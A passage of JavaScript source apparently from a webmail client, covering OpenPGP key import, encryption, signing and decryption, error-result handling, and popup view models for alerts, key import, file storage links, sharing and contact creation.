  	}
  	catch (e)
  	{
  		oResult.addExceptionMessage(e);
  	}
  
  	if (mKeyPair && mKeyPair.privateKeyArmored)
  	{
  		try
  		{
  			this.pgpKeyring.privateKeys.importKey(mKeyPair.privateKeyArmored);
  			this.pgpKeyring.publicKeys.importKey(mKeyPair.publicKeyArmored);
  			this.pgpKeyring.store();
  		}
  		catch (e)
  		{
  			oResult.addExceptionMessage(e, OpenPgpResult.Enum.GenerateKeyError);
  		}
  	}
  	else
  	{
  		oResult.addError(OpenPgpResult.Enum.GenerateKeyError);
  	}
  
  	this.reloadKeysFromStorage();
  
  	return oResult;
  };
  
  /**
   * @private
   * @param {string} sArmor
   * @return {Array}
   */
  OpenPgp.prototype.splitKeys = function (sArmor)
  {
  	var
  		aResult = [],
  		iCount = 0,
  		iLimit = 30,
  		aMatch = null,
  		sKey = Utils.trim(sArmor),
  		oReg = /[\-]{3,6}BEGIN[\s]PGP[\s](PRIVATE|PUBLIC)[\s]KEY[\s]BLOCK[\-]{3,6}[\s\S]+?[\-]{3,6}END[\s]PGP[\s](PRIVATE|PUBLIC)[\s]KEY[\s]BLOCK[\-]{3,6}/gi
  	;
  
  	sKey = sKey.replace(/[\r\n]([a-zA-Z0-9]{2,}:[^\r\n]+)[\r\n]+([a-zA-Z0-9\/\\+=]{10,})/g, '\n$1---xyx---$2')
  		.replace(/[\n\r]+/g, '\n').replace(/---xyx---/g, '\n\n');
  
  	do
  	{
  		aMatch = oReg.exec(sKey);
  		if (!aMatch || 0 > iLimit)
  		{
  			break;
  		}
  
  		if (aMatch[0] && aMatch[1] && aMatch[2] && aMatch[1] === aMatch[2])
  		{
  			if ('PRIVATE' === aMatch[1] || 'PUBLIC' === aMatch[1])
  			{
  				aResult.push([aMatch[1], aMatch[0]]);
  				iCount++;
  			}
  		}
  
  		iLimit--;
  	}
  	while (true);
  
  	return aResult;
  };
  
  /**
   * @param {string} sArmor
   * @return {OpenPgpResult}
   */
  OpenPgp.prototype.importKeys = function (sArmor)
  {
  	sArmor = Utils.trim(sArmor);
  
  	var
  		iIndex = 0,
  		iCount = 0,
  		oResult = new OpenPgpResult(),
  		aData = null,
  		aKeys = []
  	;
  
  	if (!sArmor)
  	{
  		return oResult.addError(OpenPgpResult.Enum.InvalidArgumentErrors);
  	}
  
  	aKeys = this.splitKeys(sArmor);
  
  	for (iIndex = 0; iIndex < aKeys.length; iIndex++)
  	{
  		aData = aKeys[iIndex];
  		if ('PRIVATE' === aData[0])
  		{
  			try
  			{
  				this.pgpKeyring.privateKeys.importKey(aData[1]);
  				iCount++;
  			}
  			catch (e)
  			{
  				oResult.addExceptionMessage(e, OpenPgpResult.Enum.ImportKeyError, 'private');
  			}
  		}
  		else if ('PUBLIC' === aData[0])
  		{
  			try
  			{
  				this.pgpKeyring.publicKeys.importKey(aData[1]);
  				iCount++;
  			}
  			catch (e)
  			{
  				oResult.addExceptionMessage(e, OpenPgpResult.Enum.ImportKeyError, 'public');
  			}
  		}
  	}
  
  	if (0 < iCount)
  	{
  		this.pgpKeyring.store();
  	}
  	else
  	{
  		oResult.addError(OpenPgpResult.Enum.ImportNoKeysFoundError);
  	}
  
  	this.reloadKeysFromStorage();
  
  	return oResult;
  };
  
  /**
   * @param {string} sArmor
   * @return {Array|boolean}
   */
  OpenPgp.prototype.getArmorInfo = function (sArmor)
  {
  	sArmor = Utils.trim(sArmor);
  
  	var
  		iIndex = 0,
  		iCount = 0,
  		oKey = null,
  		aResult = [],
  		aData = null,
  		aKeys = []
  	;
  
  	if (!sArmor)
  	{
  		return false;
  	}
  
  	aKeys = this.splitKeys(sArmor);
  
  	for (iIndex = 0; iIndex < aKeys.length; iIndex++)
  	{
  		aData = aKeys[iIndex];
  		if ('PRIVATE' === aData[0])
  		{
  			try
  			{
  				oKey = this.pgp.key.readArmored(aData[1]);
  				if (oKey && !oKey.err && oKey.keys && oKey.keys[0])
  				{
  					aResult.push(new OpenPgpKey(oKey.keys[0]));
  				}
  				
  				iCount++;
  			}
  			catch (e)
  			{
  				aResult.push(null);
  			}
  		}
  		else if ('PUBLIC' === aData[0])
  		{
  			try
  			{
  				oKey = this.pgp.key.readArmored(aData[1]);
  				if (oKey && !oKey.err && oKey.keys && oKey.keys[0])
  				{
  					aResult.push(new OpenPgpKey(oKey.keys[0]));
  				}
  
  				iCount++;
  			}
  			catch (e)
  			{
  				aResult.push(null);
  			}
  		}
  	}
  
  	return aResult;
  };
  
  /**
   * @param {string} sID
   * @param {boolean} bPublic
   * @return {OpenPgpKey|null}
   */
  OpenPgp.prototype.findKeyByID = function (sID, bPublic)
  {
  	bPublic = !!bPublic;
  	sID = sID.toLowerCase();
  	
  	var oKey = _.find(this.keys(), function (oKey) {
  		
  		var
  			oResult = false,
  			aKeys = null
  		;
  		
  		if (oKey && bPublic === oKey.isPublic())
  		{
  			aKeys = oKey.pgpKey.getKeyIds();
  			if (aKeys)
  			{
  				oResult = _.find(aKeys, function (oKey) {
  					return oKey && oKey.toHex && sID === oKey.toHex().toLowerCase();
  				});
  			}
  		}
  		
  		return !!oResult;
  	});
  
  	return oKey ? oKey : null;
  };
  
  /**
   * @param {Array} aEmail
   * @param {boolean} bIsPublic
   * @param {OpenPgpResult=} oResult
   * @return {Array}
   */
  OpenPgp.prototype.findKeysByEmails = function (aEmail, bIsPublic, oResult)
  {
  	bIsPublic = !!bIsPublic;
  	
  	var
  		aResult = [],
  		aKeys = this.keys()
  	;
  	_.each(aEmail, function (sEmail) {
  
  		var oKey = _.find(aKeys, function (oKey) {
  			return oKey && bIsPublic === oKey.isPublic() && sEmail === oKey.getEmail();
  		});
  
  		if (oKey)
  		{
  			aResult.push(oKey);
  		}
  		else
  		{
  			if (oResult)
  			{
  				oResult.addError(bIsPublic ?
  					OpenPgpResult.Enum.PublicKeyNotFoundError : OpenPgpResult.Enum.PrivateKeyNotFoundError, sEmail);
  			}
  		}
  	});
  
  	return aResult;
  };
  
  /**
   * @param {string} sData
   * @param {string} sAccountEmail
   * @param {string} sFromEmail
   * @param {string=} sPrivateKeyPassword = ''
   * @return {string}
   */
  OpenPgp.prototype.decryptAndVerify = function (sData, sAccountEmail, sFromEmail, sPrivateKeyPassword)
  {
  	var
  		self = this,
  		oMessage = null,
  		oPrivateEmailKey = null,
  		oPrivateKey = null,
  		oPrivateKeyClone = null,
  		oMessageDecrypted = null,
  		oResult = new OpenPgpResult(),
  		aEncryptionKeyIds = []
  	;
  
  	oMessage = this.pgp.message.readArmored(sData);
  	if (oMessage && oMessage.decrypt)
  	{
  		aEncryptionKeyIds = oMessage.getEncryptionKeyIds();
  		if (aEncryptionKeyIds)
  		{
  			oPrivateKey = null;
  			oPrivateEmailKey = null;
  			
  			_.each(aEncryptionKeyIds, function (oKey) {
  				if (!oPrivateEmailKey)
  				{
  					oPrivateEmailKey = self.findKeyByID(oKey.toHex(), false);
  					if (oPrivateEmailKey && sAccountEmail !== oPrivateEmailKey.getEmail())
  					{
  						oPrivateEmailKey = null;
  					}
  				}
  			});
  
  			if (oPrivateEmailKey)
  			{
  				oPrivateKey = oPrivateEmailKey;
  			}
  
  			if (!oPrivateKey)
  			{
  				_.each(aEncryptionKeyIds, function (oKey) {
  					if (!oPrivateKey)
  					{
  						oPrivateKey = self.findKeyByID(oKey.toHex(), false);
  					}
  				});
  			}
  		}
  
  		if (!oPrivateKey)
  		{
  			oResult.addError(OpenPgpResult.Enum.PrivateKeyNotFoundError);
  		}
  		else
  		{
  			oPrivateKeyClone = this.cloneKey(this.convertToNativeKeys([oPrivateKey])[0]);
  			
  			this.decryptKeyHelper(oResult, oPrivateKeyClone, sPrivateKeyPassword, oPrivateKey.getEmail());
  
  			if (oPrivateKeyClone && !oResult.hasErrors())
  			{
  				try
  				{
  					oMessageDecrypted = oMessage.decrypt(oPrivateKeyClone);
  				}
  				catch (e)
  				{
  					oResult.addExceptionMessage(e, OpenPgpResult.Enum.DecryptError);
  					oMessageDecrypted = null;
  				}
  			}
  
  			if (oMessageDecrypted && !oResult.hasErrors())
  			{
  				this.verifyMessageHelper(oResult, sFromEmail, oMessageDecrypted);
  
  				oResult.result = oMessageDecrypted.getText();
  			}
  		}
  	}
  
  	return oResult;
  };
  
  /**
   * @param {string} sData
   * @param {string} sFromEmail
   * @return {string}
   */
  OpenPgp.prototype.verify = function (sData, sFromEmail)
  {
  	var
  		oMessageDecrypted = null,
  		oResult = new OpenPgpResult()
  	;
  
  	oMessageDecrypted = this.pgp.cleartext.readArmored(sData);
  	if (oMessageDecrypted && oMessageDecrypted.getText && oMessageDecrypted.verify)
  	{
  		this.verifyMessageHelper(oResult, sFromEmail, oMessageDecrypted);
  
  		oResult.result = oMessageDecrypted.getText();
  	}
  	else
  	{
  		oResult.addError(OpenPgpResult.Enum.CanNotReadMessage);
  	}
  
  	return oResult;
  };
  
  /**
   * @param {string} sData
   * @param {Array} aPrincipalsEmail
   * @return {string}
   */
  OpenPgp.prototype.encrypt = function (sData, aPrincipalsEmail)
  {
  	var
  		oResult = new OpenPgpResult(),
  		aPublicKeys = this.findKeysByEmails(aPrincipalsEmail, true, oResult)
  	;
  
  	if (!oResult.hasErrors())
  	{
  		try
  		{
  			oResult.result = this.pgp.encryptMessage(
  				this.convertToNativeKeys(aPublicKeys), sData);
  		}
  		catch (e)
  		{
  			oResult.addExceptionMessage(e, OpenPgpResult.Enum.EncryptError);
  		}
  	}
  
  	return oResult;
  };
  
  /**
   * @param {string} sData
   * @param {string} sFromEmail
   * @param {string=} sPrivateKeyPassword
   * @return {string}
   */
  OpenPgp.prototype.sign = function (sData, sFromEmail, sPrivateKeyPassword)
  {
  	var
  		oResult = new OpenPgpResult(),
  		oPrivateKey = null,
  		oPrivateKeyClone = null,
  		aPrivateKeys = this.findKeysByEmails([sFromEmail], false, oResult)
  	;
  
  	if (!oResult.hasErrors())
  	{
  		oPrivateKey = this.convertToNativeKeys(aPrivateKeys)[0];
  		oPrivateKeyClone = this.cloneKey(oPrivateKey);
  
  		this.decryptKeyHelper(oResult, oPrivateKeyClone, sPrivateKeyPassword, sFromEmail);
  
  		if (oPrivateKeyClone && !oResult.hasErrors())
  		{
  			try
  			{
  				oResult.result = this.pgp.signClearMessage([oPrivateKeyClone], sData);
  			}
  			catch (e)
  			{
  				oResult.addExceptionMessage(e, OpenPgpResult.Enum.SignError, sFromEmail);
  			}
  		}
  	}
  
  	return oResult;
  };
  
  /**
   * @param {string} sData
   * @param {string} sFromEmail
   * @param {Array} aPrincipalsEmail
   * @param {string=} sPrivateKeyPassword
   * @return {string}
   */
  OpenPgp.prototype.signAndEncrypt = function (sData, sFromEmail, aPrincipalsEmail, sPrivateKeyPassword)
  {
  	var
  		oPrivateKey = null,
  		oPrivateKeyClone = null,
  		oResult = new OpenPgpResult(),
  		aPrivateKeys = this.findKeysByEmails([sFromEmail], false, oResult),
  		aPublicKeys = this.findKeysByEmails(aPrincipalsEmail, true, oResult)
  	;
  
  	if (!oResult.hasErrors())
  	{
  		oPrivateKey = this.convertToNativeKeys(aPrivateKeys)[0];
  		oPrivateKeyClone = this.cloneKey(oPrivateKey);
  
  		this.decryptKeyHelper(oResult, oPrivateKeyClone, sPrivateKeyPassword, sFromEmail);
  		
  		if (oPrivateKeyClone && !oResult.hasErrors())
  		{
  			try
  			{
  				oResult.result = this.pgp.signAndEncryptMessage(
  					this.convertToNativeKeys(aPublicKeys), oPrivateKeyClone, sData);
  			}
  			catch (e)
  			{
  				oResult.addExceptionMessage(e, OpenPgpResult.Enum.SignAndEncryptError);
  			}
  		}
  	}
  	
  	return oResult;
  };
  
  /**
   * @param {OpenPgpKey} oKey
   */
  OpenPgp.prototype.deleteKey = function (oKey)
  {
  	var oResult = new OpenPgpResult();
  	if (oKey)
  	{
  		try
  		{
  			this.pgpKeyring[oKey.isPrivate() ? 'privateKeys' : 'publicKeys'].removeForId(oKey.getFingerprint());
  			this.pgpKeyring.store();
  		}
  		catch (e)
  		{
  			oResult.addExceptionMessage(e, OpenPgpResult.Enum.DeleteError);
  		}
  	}
  	else
  	{
  		oResult.addError(oKey ? OpenPgpResult.Enum.UnknownError : OpenPgpResult.Enum.InvalidArgumentError);
  	}
  
  	this.reloadKeysFromStorage();
  
  	return oResult;
  };
  
  
  /**
   * @todo
   * @param {Object} oOpenPgpKey
   * @constructor
   */
  function OpenPgpKey(oOpenPgpKey)
  {
  	this.pgpKey = oOpenPgpKey;
  
  	var oPrimaryUser = this.pgpKey.getPrimaryUser();
  	
  	this.user = (oPrimaryUser && oPrimaryUser.user) ? oPrimaryUser.user.userId.userid :
  		(this.pgpKey.users && this.pgpKey.users[0] ? this.pgpKey.users[0].userId.userid : '');
  
  	this.emailParts = Utils.Address.getEmailParts(this.user);
  }
  
  /**
   * @type {Object}
   */
  OpenPgpKey.prototype.pgpKey = null;
  
  /**
   * @type {Object}
   */
  OpenPgpKey.prototype.emailParts = null;
  
  /**
   * @type {string}
   */
  OpenPgpKey.prototype.user = '';
  
  /**
   * @return {string}
   */
  OpenPgpKey.prototype.getId = function ()
  {
  	return this.pgpKey.primaryKey.getKeyId().toHex().toLowerCase();
  };
  
  /**
   * @return {string}
   */
  OpenPgpKey.prototype.getEmail = function ()
  {
  	return this.emailParts['email'] || this.user;
  };
  
  /**
   * @return {string}
   */
  OpenPgpKey.prototype.getUser = function ()
  {
  	return this.user;
  };
  
  /**
   * @return {string}
   */
  OpenPgpKey.prototype.getFingerprint = function ()
  {
  	return this.pgpKey.primaryKey.getFingerprint();
  };
  
  /**
   * @return {number}
   */
  OpenPgpKey.prototype.getBitSize = function ()
  {
  	return this.pgpKey.primaryKey.getBitSize();
  };
  
  /**
   * @return {string}
   */
  OpenPgpKey.prototype.getArmor = function ()
  {
  	return this.pgpKey.armor();
  };
  
  /**
   * @return {boolean}
   */
  OpenPgpKey.prototype.isPrivate = function ()
  {
  	return !!this.pgpKey.isPrivate();
  };
  
  /**
   * @return {boolean}
   */
  OpenPgpKey.prototype.isPublic = function ()
  {
  	return !this.isPrivate();
  };
  
  
  /**
   * @todo
   * @constructor
   */
  function OpenPgpResult()
  {
  	this.result = true;
  	this.errors = null;
  	this.notices = null;
  	this.exceptions = null;
  }
  
  OpenPgpResult.Enum = {
  	'UnknownError': 0,
  	'UnknownNotice': 1,
  	'InvalidArgumentError': 2,
  	'GenerateKeyError': 10,
  	'ImportKeyError': 20,
  	'ImportNoKeysFoundError': 21,
  	'PrivateKeyNotFoundError': 30,
  	'PublicKeyNotFoundError': 31,
  	'KeyIsNotDecodedError': 32,
  	'SignError': 40,
  	'VerifyError': 41,
  	'EncryptError': 42,
  	'DecryptError': 43,
  	'SignAndEncryptError': 44,
  	'VerifyAndDecryptError': 45,
  	'CanNotReadMessage': 50,
  	'CanNotReadKey': 51,
  	'DeleteError': 60,
  	'PublicKeyNotFoundNotice': 70,
  	'PrivateKeyNotFoundNotice': 71,
  	'VerifyErrorNotice': 72,
  	'NoSignDataNotice': 73
  };
  
  /**
   * @type {mixed}
   */
  OpenPgpResult.prototype.result = false;
  
  /**
   * @type {Array|null}
   */
  OpenPgpResult.prototype.errors = null;
  
  /**
   * @type {Array|null}
   */
  OpenPgpResult.prototype.notices = null;
  
  /**
   * @param {number} iCode
   * @param {string} sValue
   * @return {OpenPgpResult}
   */
  OpenPgpResult.prototype.addError = function (iCode, sValue)
  {
  	this.result = false;
  	this.errors = this.errors || [];
  	this.errors.push([iCode || OpenPgpResult.Enum.UnknownError, sValue || '']);
  
  	return this;
  };
  
  /**
   * @param {number} iCode
   * @param {string} sValue
   * @return {OpenPgpResult}
   */
  OpenPgpResult.prototype.addNotice = function (iCode, sValue)
  {
  	this.notices = this.notices || [];
  	this.notices.push([iCode || OpenPgpResult.Enum.UnknownNotice, sValue || '']);
  
  	return this;
  };
  
  /**
   * @param {Error} e
   * @param {number=} iErrorCode
   * @param {string=} sErrorMessage
   * @return {OpenPgpResult}
   */
  OpenPgpResult.prototype.addExceptionMessage = function (e, iErrorCode, sErrorMessage)
  {
  	if (e)
  	{
  		this.result = false;
  		this.exceptions = this.exceptions || [];
  		this.exceptions.push('' + (e.name || 'unknown') + ': ' + (e.message || ''));
  	}
  
  	if (!Utils.isUnd(iErrorCode))
  	{
  		this.addError(iErrorCode, sErrorMessage);
  	}
  
  	return this;
  };
  
  /**
   *  @return {boolean}
   */
  OpenPgpResult.prototype.hasErrors = function ()
  {
  	return this.errors && 0 < this.errors.length;
  };
  
  /**
   *  @return {boolean}
   */
  OpenPgpResult.prototype.hasNotices = function ()
  {
  	return this.notices && 0 < this.notices.length;
  };
  
  /**
   * @constructor
   */
  function AlertPopup()
  {
  	this.alertDesc = ko.observable('');
  	this.closeCallback = null;
  	this.title = ko.observable('');
  	this.okButtonText = ko.observable(Utils.i18n('MAIN/BUTTON_OK'));
  }
  
  /**
   * @param {string} sDesc
   * @param {Function=} fCloseCallback = null
   * @param {string=} sTitle = ''
   * @param {string=} sOkButtonText = 'Ok'
   */
  AlertPopup.prototype.onShow = function (sDesc, fCloseCallback, sTitle, sOkButtonText)
  {
  	this.alertDesc(sDesc);
  	this.closeCallback = fCloseCallback || null;
  	this.title(sTitle || '');
  	this.okButtonText(sOkButtonText || Utils.i18n('MAIN/BUTTON_OK'));
  };
  
  /**
   * @return {string}
   */
  AlertPopup.prototype.popupTemplate = function ()
  {
  	return 'Popups_AlertPopupViewModel';
  };
  
  AlertPopup.prototype.onEnterHandler = function ()
  {
  	this.close();
  };
  
  AlertPopup.prototype.close = function ()
  {
  	if (Utils.isFunc(this.closeCallback))
  	{
  		this.closeCallback();
  	}
  	this.closeCommand();
  };
  
  /**
   * @constructor
   */
  function ConfirmPopup()
  {
  	this.fConfirmCallback = null;
  	this.confirmDesc = ko.observable('');
  	this.title = ko.observable('');
  	this.okButtonText = ko.observable(Utils.i18n('MAIN/BUTTON_OK'));
  	this.cancelButtonText = ko.observable(Utils.i18n('MAIN/BUTTON_CANCEL'));
  	this.shown = false;
  }
  
  /**
   * @param {string} sDesc
   * @param {Function} fConfirmCallback
   * @param {string=} sTitle = ''
   * @param {string=} sOkButtonText = ''
   * @param {string=} sCancelButtonText = ''
   */
  ConfirmPopup.prototype.onShow = function (sDesc, fConfirmCallback, sTitle, sOkButtonText, sCancelButtonText)
  {
  	this.confirmDesc(sDesc);
  	this.title(sTitle || '');
  	this.okButtonText(sOkButtonText || Utils.i18n('MAIN/BUTTON_OK'));
  	this.cancelButtonText(sCancelButtonText || Utils.i18n('MAIN/BUTTON_CANCEL'));
  	if (Utils.isFunc(fConfirmCallback))
  	{
  		this.fConfirmCallback = fConfirmCallback;
  	}
  	this.shown = true;
  };
  
  ConfirmPopup.prototype.onHide = function ()
  {
  	this.shown = false;
  };
  
  /**
   * @return {string}
   */
  ConfirmPopup.prototype.popupTemplate = function ()
  {
  	return 'Popups_ConfirmPopupViewModel';
  };
  
  ConfirmPopup.prototype.onEnterHandler = function ()
  {
  	this.yesClick();
  };
  
  ConfirmPopup.prototype.yesClick = function ()
  {
  	if (this.shown && this.fConfirmCallback)
  	{
  		this.fConfirmCallback(true);
  	}
  
  	this.closeCommand();
  };
  
  ConfirmPopup.prototype.noClick = function ()
  {
  	if (this.fConfirmCallback)
  	{
  		this.fConfirmCallback(false);
  	}
  
  	this.closeCommand();
  };
  
  ConfirmPopup.prototype.onEscHandler = function ()
  {
  	this.noClick();
  };
  
  /**
   * @constructor
   */
  function CImportOpenPgpKeyPopup()
  {
  	this.pgp = null;
  	this.keyArmor = ko.observable('');
  	this.keyArmorFocused = ko.observable(false);
  	this.keys = ko.observableArray([]);
  	this.hasExistingKeys = ko.observable(false);
  	this.headlineText = ko.computed(function () {
  		return Utils.i18n('OPENPGP/INFO_TEXT_INCLUDES_KEYS_PLURAL', {}, null, this.keys().length);
  	}, this);
  }
  
  /**
   * @param {Object} oPgp
   */
  CImportOpenPgpKeyPopup.prototype.onShow = function (oPgp, sArmor)
  {
  	this.pgp = oPgp;
  	this.keyArmor(sArmor || '');
  	this.keyArmorFocused(true);
  	this.keys([]);
  	this.hasExistingKeys(false);
  	if (this.keyArmor() !== '')
  	{
  		this.checkArmor();
  	}
  };
  
  /**
   * @return {string}
   */
  CImportOpenPgpKeyPopup.prototype.popupTemplate = function ()
  {
  	return 'Popups_ImportOpenPgpKeyPopupViewModel';
  };
  
  CImportOpenPgpKeyPopup.prototype.checkArmor = function ()
  {
  	var
  		aRes = null,
  		aKeys = [],
  		oPgp = this.pgp,
  		bHasExistingKeys = false
  	;
  	
  	if (this.keyArmor() === '')
  	{
  		this.keyArmorFocused(true);
  	}
  	else if (oPgp)
  	{
  		aRes = oPgp.getArmorInfo(this.keyArmor());
  		
  		if (Utils.isNonEmptyArray(aRes))
  		{
  			_.each(aRes, function (oKey) {
  				if (oKey)
  				{
  					var
  						oSameKey = oPgp.findKeyByID(oKey.getId(), oKey.isPublic()),
  						bHasSameKey = (oSameKey !== null),
  						sAddInfoLangKey = oKey.isPublic() ? 'OPENPGP/PUBLIC_KEY_ADD_INFO' : 'OPENPGP/PRIVATE_KEY_ADD_INFO'
  					;
  					bHasExistingKeys = bHasExistingKeys || bHasSameKey;
  					aKeys.push({
  						'armor': oKey.getArmor(),
  						'email': oKey.user,
  						'id': oKey.getId(),
  						'addInfo': Utils.i18n(sAddInfoLangKey, {'LENGTH': oKey.getBitSize()}),
  						'needToImport': ko.observable(!bHasSameKey),
  						'disabled': bHasSameKey
  					});
  				}
  			});
  		}
  		
  		if (aKeys.length === 0)
  		{
  			App.Api.showError(Utils.i18n('OPENPGP/ERROR_IMPORT_NO_KEY_FOUND'));
  		}
  		
  		this.keys(aKeys);
  		this.hasExistingKeys(bHasExistingKeys);
  	}
  };
  
  CImportOpenPgpKeyPopup.prototype.importKey = function ()
  {
  	var
  		oRes = null,
  		aArmors = []
  	;
  	if (this.pgp)
  	{
  		
  		_.each(this.keys(), function (oSimpleKey) {
  			if (oSimpleKey.needToImport())
  			{
  				aArmors.push(oSimpleKey.armor);
  			}
  		});
  		
  		if (aArmors.length > 0)
  		{
  			oRes = this.pgp.importKeys(aArmors.join(''));
  
  			if (oRes && oRes.result)
  			{
  				App.Api.showReport(Utils.i18n('OPENPGP/REPORT_KEY_SUCCESSFULLY_IMPORTED_PLURAL', {}, null, aArmors.length));
  			}
  
  			if (oRes && !oRes.result)
  			{
  				App.Api.showPgpErrorByCode(oRes, Enums.PgpAction.Import, Utils.i18n('OPENPGP/ERROR_IMPORT_KEY'));
  			}
  
  			this.closeCommand();
  		}
  		else
  		{
  			App.Api.showError(Utils.i18n('OPENPGP/ERROR_IMPORT_NO_KEY_SELECTED'));
  		}
  	}
  };
  
  
  /**
   * @constructor
   */
  function FileStorageFolderCreatePopup()
  {
  	this.fCallback = null;
  	this.folderName = ko.observable('');
  	this.folderName.focus = ko.observable(false);
  	this.folderName.error = ko.observable('');
  
  	this.folderName.subscribe(function () {
  		this.folderName.error('');
  	}, this);
  }
  
  /**
   * @param {Function} fCallback
   */
  FileStorageFolderCreatePopup.prototype.onShow = function (fCallback)
  {
  	this.folderName('');
  	this.folderName.focus(true);
  	this.folderName.error('');
  	
  	if (Utils.isFunc(fCallback))
  	{
  		this.fCallback = fCallback;
  	}
  };
  
  /**
   * @return {string}
   */
  FileStorageFolderCreatePopup.prototype.popupTemplate = function ()
  {
  	return 'Popups_FileStorage_FolderCreatePopupViewModel';
  };
  
  FileStorageFolderCreatePopup.prototype.onOKClick = function ()
  {
  	this.folderName.error('');
  	
  	if (this.fCallback)
  	{
  		var sError = this.fCallback(this.folderName());
  		if (sError)
  		{
  			this.folderName.error('' + sError);
  		}
  		else
  		{
  			this.closeCommand();
  		}
  	}
  	else
  	{
  		this.closeCommand();
  	}
  };
  
  FileStorageFolderCreatePopup.prototype.onCancelClick = function ()
  {
  	this.closeCommand();
  };
  
  /**
   * @constructor
   */
  function FileStorageLinkCreatePopup()
  {
  	this.fCallback = null;
  	this.link = ko.observable('');
  	this.linkPrev = ko.observable('');
  	this.linkFocus = ko.observable(false);
  	this.checkTimeout = null;
  	this.urlChecked = ko.observable(false);
  	this.saveCommand = Utils.createCommand(this, this.executeSave, function () {
  		return (this.urlChecked());
  	});
  	this.fileItem = ko.observable(new CCommonFileModel());
  }
  
  /**
   * @param {Function} fCallback
   */
  FileStorageLinkCreatePopup.prototype.onShow = function (fCallback)
  {
  	this.link('');
  	this.linkFocus(true);
  	
  	if (Utils.isFunc(fCallback))
  	{
  		this.fCallback = fCallback;
  	}
  	this.checkTimer = setTimeout(_.bind(this.checkUrl, this), 2000);
  };
  
  /**
   * @return {string}
   */
  FileStorageLinkCreatePopup.prototype.popupTemplate = function ()
  {
  	return 'Popups_FileStorage_LinkCreatePopupViewModel';
  };
  
  FileStorageLinkCreatePopup.prototype.checkUrl = function ()
  {
  	clearTimeout(this.checkTimer);
  	if (this.link() !== this.linkPrev())
  	{
  		this.linkPrev(this.link());
  		App.Ajax.send({
  				'Action': 'FilesCheckUrl',
  				'Url': this.link()
  			},
  			this.onFilesCheckUrlResponse,
  			this
  		);
  	}
  	this.checkTimer = setTimeout(_.bind(this.checkUrl, this), 1000);
  };
  
  FileStorageLinkCreatePopup.prototype.onFilesCheckUrlResponse = function (oData)
  {
  	var fileItem = new CCommonFileModel();
  	if (oData.Result)
  	{
  		fileItem.isPopupItem(true);
  		fileItem.linkUrl(this.link());
  		fileItem.fileName(oData.Result.Name);
  		fileItem.size(oData.Result.Size);
  		fileItem.linkType(oData.Result.LinkType ? oData.Result.LinkType : Enums.FileStorageLinkType.Unknown);
  		fileItem.allowDownload(false);
  		if (oData.Result.Thumb)
  		{
  			fileItem.thumb(true);
  			fileItem.thumbnailSrc(oData.Result.Thumb);
  		}
  		this.fileItem(fileItem);
  		
  		this.urlChecked(true);
  	}
  	else
  	{
  		this.urlChecked(false);
  	}
  };
  
  FileStorageLinkCreatePopup.prototype.executeSave = function ()
  {
  	if (this.fCallback)
  	{
                  this.fCallback(this.fileItem());
  		this.link('');
  		this.linkPrev('');
  		this.urlChecked(false);
  	}
  	clearTimeout(this.checkTimer);
  	this.closeCommand();
  };
  
  FileStorageLinkCreatePopup.prototype.onCancelClick = function ()
  {
  	this.link('');
  	this.linkPrev('');
  	this.urlChecked(false);
  	clearTimeout(this.checkTimer);
  	this.closeCommand();
  };
  
  FileStorageLinkCreatePopup.prototype.onEscHandler = function ()
  {
  	this.onCancelClick();
  };
  
  /**
   * @constructor
   */
  function FileStorageRenamePopup()
  {
  	this.fCallback = null;
  	this.item = null;
  	this.name = ko.observable('');
  	this.name.focus = ko.observable(false);
  	this.name.error = ko.observable('');
  
  	this.name.subscribe(function () {
  		this.name.error('');
  	}, this);
  }
  
  /**
   * @param {Object} oItem
   * @param {Function} fCallback
   */
  FileStorageRenamePopup.prototype.onShow = function (oItem, fCallback)
  {
  
  	this.item = oItem;
  	this.item.nameForEdit(this.item.fileName());
  
  	this.name(this.item.nameForEdit());
  	this.name.focus(true);
  	this.name.error('');
  	
  	if (Utils.isFunc(fCallback))
  	{
  		this.fCallback = fCallback;
  	}
  };
  
  /**
   * @return {string}
   */
  FileStorageRenamePopup.prototype.popupTemplate = function ()
  {
  	return 'Popups_FileStorage_RenamePopupViewModel';
  };
  
  FileStorageRenamePopup.prototype.onOKClick = function ()
  {
  	this.name.error('');
  	if (this.fCallback)
  	{
  		this.item.nameForEdit(this.name());
  		var sError = this.fCallback(this.item);
  		if (sError)
  		{
  			this.name.error('' + sError);
  		}
  		else
  		{
  			this.closeCommand();
  		}
  	}
  	else
  	{
  		this.closeCommand();
  	}
  };
  
  /**
   *
   */
  FileStorageRenamePopup.prototype.onCancelClick = function ()
  {
  	this.closeCommand();
  };
  
  /**
   * @constructor
   */
  function FileStorageSharePopup()
  {
  	this.item = null;
  	this.pub = ko.observable('');
  	this.pubFocus = ko.observable(false);
  }
  
  /**
   * @param {Object} oItem
   */
  FileStorageSharePopup.prototype.onShow = function (oItem)
  {
  	this.item = oItem;
  	
  	this.pub('');
  		
  	App.Ajax.send({
  			'Action': 'FilesCreatePublicLink',
  			'Account': AppData.Accounts.defaultId(),
  			'Type': oItem.storageType(),
  			'Path': oItem.path(),
  			'Name': oItem.fileName(),
  			'Size': oItem.size(),
  			'IsFolder': oItem.isFolder() ? '1' : '0'
  		}, this.onFilesCreatePublicLinkResponse, this
  	);
  };
  
  /**
   * @param {Object} oData
   * @param {Object} oParameters
   */
  FileStorageSharePopup.prototype.onFilesCreatePublicLinkResponse = function (oData, oParameters)
  {
  	if (oData.Result)
  	{
  		this.pub(oData.Result);
  		this.pubFocus(true);
  		this.item.shared(true);
  	}
  };
  
  /**
   * @return {string}
   */
  FileStorageSharePopup.prototype.popupTemplate = function ()
  {
  	return 'Popups_FileStorage_SharePopupViewModel';
  };
  
  FileStorageSharePopup.prototype.onOKClick = function ()
  {
  	this.closeCommand();
  };
  
  /**
   * @param {Object} oData
   * @param {Object} oParameters
   */
  FileStorageSharePopup.prototype.onFilesDeletePublicLinkResponse = function (oData, oParameters)
  {
  	this.closeCommand();
  };
  
  FileStorageSharePopup.prototype.onCancelSharingClick = function ()
  {
  	if (this.item)
  	{
  		App.Ajax.send({
  				'Action': 'FilesPublicLinkDelete',
  				'Account': AppData.Accounts.defaultId(),
  				'Type': this.item.storageType(),
  				'Path': this.item.path(),
  				'Name': this.item.fileName()
  			}, this.onFilesDeletePublicLinkResponse, this);
  		this.item.shared(false);
  	}
  };
  
  /**
   * @constructor
   */
  function ContactCreatePopup()
  {
  	this.displayName = ko.observable('');
  	this.email = ko.observable('');
  	this.phone = ko.observable('');
  	this.address = ko.observable('');
  	this.skype = ko.observable('');
  	this.facebook = ko.observable('');
  
  	this.focusDisplayName = ko.observable(false);
  
